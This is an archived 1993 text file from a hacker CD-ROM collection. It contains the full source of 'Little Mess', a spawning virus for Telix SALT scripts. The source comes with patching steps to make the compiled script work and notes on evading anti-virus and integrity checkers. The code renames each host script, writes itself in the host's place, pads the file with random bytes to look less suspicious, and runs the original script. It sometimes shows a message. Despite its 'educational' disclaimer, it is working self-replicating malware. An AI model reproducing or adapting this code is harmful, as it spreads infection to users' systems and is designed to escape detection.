home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 283.LTLMESS.SLT < prev    next >
Text File  |  1993-01-04  |  4KB  |  92 lines

  1. // Little Mess spawning virus source (c) 92 Crom-Cruach/Trident
  2. // Source in SALT
  3. //
  4. // The compiled script needs some little changes:
  5. // *First, both 1234h's in the SLC must be replaced by (FileLen-011h)
  6. // *the 1st 11h bytes of the script must be copied over the 'REPLACE ME!';
  7. // *Both 1D 06 00's sequences MUST be replaced by 1D 02 00...
  8.  
  9. // This is of course only educational, and even if it wasn't, it still wouldn't
  10. // spread due to the script exchange rate.
  11. //
  12. // Bad minds, however, might think it's fun having their local network-sysop
  13. // screaming about his system being infected while all anti-viral/integrity
  14. // programs miss it (or, him being dissed for saying he's got a
  15. // script-virus)... Of course, those people are wrong and/or sick.
  16.  
  17. // Symptoms - 1 out of 8 times it displays a message for 1 sec after 
  18. // script execution if all scripts infected.
  19.  
  20. // Greetz - NuKE / Phalcon/SKISM / YAM & All other practicing researchers...
  21.  
  22. // Technical info ---
  23. //
  24. // First, the uninfected file is renamed to *.SLX.
  25. // Then, the SLC file is created and the copy of the header is written to it.
  26. // After that, the whole virus is written as a string to the file (SALT-string
  27. // identification code is 19h; offsets in SLC are calculated relative to the
  28. // end of the header (= on +0Ch) - The 06 -> 02 patch changes the offset of the
  29. // buffer to write from Title (+6) to [EndHeader+1] (+2)... The 1234-patch is
  30. // needed to fill in the size of that string). After that, some random bytes
  31. // are written to make the files less suspicious (the amount must be even; at
  32. // least, CS (the TELIX script compiler) never creates files with odd lengths)
  33. // I wanted to mark the SLX files as hidden; but in SALT you can only -read-
  34. // the attribute of a file. Solution could be to write a little routine in ASM
  35. // to a temporary file & to RUN that file; I decided not to, because the flash
  36. // from the shell-to-dos is much more obvious than some 'SLX'-files.
  37.  
  38. // A system can be infected by starting this script from Telix. It will
  39. // infect one script at a time.
  40.  
  41. int EndHeader = 0x123419;               // Needed for code-copy
  42. str Title[40] = "[Little Mess (c) 92 Crom-Cruach/Trident]";
  43. str Org_Ext[4] = ".SLX";
  44.  
  45. str Path[64],Trash[64];
  46. str Buf[12] = "";                       // No script to start after 'mother'.
  47. str Spawned_On[12];
  48.  
  49. // Header
  50. str Header[17]="REPLACE ME!";           // must be replaced by header (debug)
  51. int Handle;
  52. main()
  53. {
  54.  Spawned_On = Buf;
  55.  path = _script_dir;
  56.  strcat(path,"*.SLC");                  // Search script (not 8 chars-FName!)
  57. FNext:
  58.  if (not FileFind(path,0,Buf))          // File found?
  59.  { EndHeader=0; }                       // No more; mark 'all infected'
  60.  else
  61.  {
  62.   path = "";                            // Prepare for find-next
  63.   trash = _script_dir;
  64.   strcat(trash,Buf);                    // Trash = path+filename+ext
  65.   FNStrip(Trash,7,Buf);                 // Buf = filename only
  66.   strcat(Buf,Org_Ext);                  // Give new extension
  67.   if (frename(Trash,Buf) != 0) goto FNext;
  68.                                         // File not renamed (already spawned)
  69.  
  70.   Handle = FOpen(Trash,"w");            // Make new file, same name
  71.   If (Handle == 0)                      // Error opening; restore orig. fname
  72.   {
  73.     Path = _script_dir;
  74.     strcat(path,Buf);                   // path = path+new_fname
  75.     frename(Path,Trash);                // rename-back
  76.     goto Quit_Infect;
  77.   }
  78.   FWrite(Header,17,Handle);             // Write header
  79.  
  80.   FWrite(Title,0x1234,Handle);       // Title REPLACED by (ofs EndH.+1)
  81.  
  82.   FWrite(Title,(CurTime()&254),Handle); // Make size random (must be even)
  83.   FClose(Handle);
  84.  }
  85. Quit_Infect:
  86. call(Spawned_On);                       // Start orig. script
  87. if ((EndHeader==0) and                  // If all infected
  88.  ((CurTime()&7)==7))                    // Show message 1 out of 8 times
  89.   Status_Wind("Legalize Marijuana! - ┬┌│Σ∩┬",10);
  90. }
  91.  
  92.